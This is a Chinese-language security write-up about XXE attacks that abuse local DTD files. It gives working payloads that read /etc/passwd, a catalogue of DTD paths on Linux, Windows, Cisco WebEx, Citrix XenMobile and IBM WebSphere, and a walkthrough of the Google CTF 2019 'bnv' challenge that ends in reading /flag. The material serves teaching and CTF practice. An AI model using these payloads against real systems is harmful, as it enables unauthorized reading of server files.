0x01 利用本地DTD文件实现XXE攻击

一般来说,对于无回显的支持外部实体的XXE,是通过带外通道OOB实现攻击回传数据。

但是,当你的服务器和目标服务器之间有防火墙时,上面的方法就没辙了。此时我们就可以通过本地DTD文件利用XXE漏洞实现任意结果的输出。

内部DTD文件可干啥?

要想在内部DTD子集中使用外部DTD语法,你可以在目标主机上强制执行本地DTD文件,并在其中重新定义一些参数实体引用:

Request

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">

<!ENTITY % condition 'aaa)>
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>

%local_dtd;
]>

sip-app_1_0.dtd 中的内容

1
2
3
4

<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>

它起作用是因为所有XML实体都是常量,如果定义两个具有相同名称的实体则仅使用第一个实体。

内部DTD文件合集

通过枚举来查找文件和目录应该是最简单的方法了,以下是一些成功应用此技巧的例子:

Linux

1
2
3
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

Windows

1
2
3
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

感谢来自Positive Technologies的@Mike_n1分享的这条始终存在的Windows DTD文件路径。

Cisco WebEx

1
2
3
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Citrix XenMobile Server

1
2
3
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

多平台 IBM WebSphere 应用

1
2
3
4
5
6
7
8
9
10
11
<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;

0x02 Google CTF 2019 bnv

题目地址:http://bnv.web.ctfcompetition.com/

访问页面,有个选项框让你选择,然后返回该地址的一些信息:

查看源码,发现有个post.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
function AjaxFormPost() {
var datasend;
var message = document.getElementById('message').value;
message = message.toLowerCase();

var blindvalues = [
'10', '120', '140', '1450', '150', '1240', '12450',
'1250', '240', '2450', '130', '1230', '1340', '13450',
'1350', '12340', '123450', '12350', '2340', '23450', '1360',
'12360', '24560', '13460', '134560', '13560',
];

var blindmap = new Map();
var i;
var message_new = '';

for (i = 0; i < blindvalues.length; i++) {
blindmap[i + 97] = blindvalues[i];
}

for (i = 0; i < message.length; i++) {
message_new += blindmap[(message[i].charCodeAt(0))];
}

datasend = JSON.stringify({
'message': message_new,
});
var url = '/api/search';
xhr = new XMLHttpRequest();
xhr.open('POST', url, true);
xhr.setRequestHeader('Content-type', 'application/json');

xhr.onreadystatechange =
function() {
if (xhr.readyState == 4 && xhr.status == 200) {
console.log(xhr.getResponseHeader('Content-Type'));
if (xhr.getResponseHeader('Content-Type') == "application/json; charset=utf-8") {
try {
var json = JSON.parse(xhr.responseText);
document.getElementById('database-data').value = json['ValueSearch'];
}
catch(e) {;
document.getElementById('database-data').value = e.message;
}
}
else {
document.getElementById('database-data').value = xhr.responseText;
}
}
}
xhr.send(datasend);
}

主要功能就是将输入的内容转换成ASCII码,然后再到blindvalues的数组(数组大小为26)中寻找并替换,在此之前blindvalues的下标加了97,也就是说,我们输入的json的参数内容只能限定在26个字母中,这样就没法往下利用,点不在这。

没啥其他提示,看下报文,都是Json格式:

根据参考文章提示,Content-Type为application/json并使用Json进行数据交互的Web站点,可以修改其Content-Type为application/xml,并尝试进行XXE注入。

先修改Content-Type为application/xml,发现响应包返回没有找到开启的标签符\<,也就是明确是是可以解析XML格式数据的:

修改Json格式数据为XML格式数据,提示找不到DTD:

下面直接用内部DTD文件实现回显利用,先发送WebSphere测试下:

报错,找不到该内部DTD文件,而目标系统是Linux,直接换Linux的payload就好:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
<message>any text</message>

访问flag文件即可得到flag:

0x03 参考

Exploiting XXE with local DTD files

Playing with Content-Type – XXE on JSON Endpoints

使用本地DTD文件来利用XXE漏洞实现任意结果输出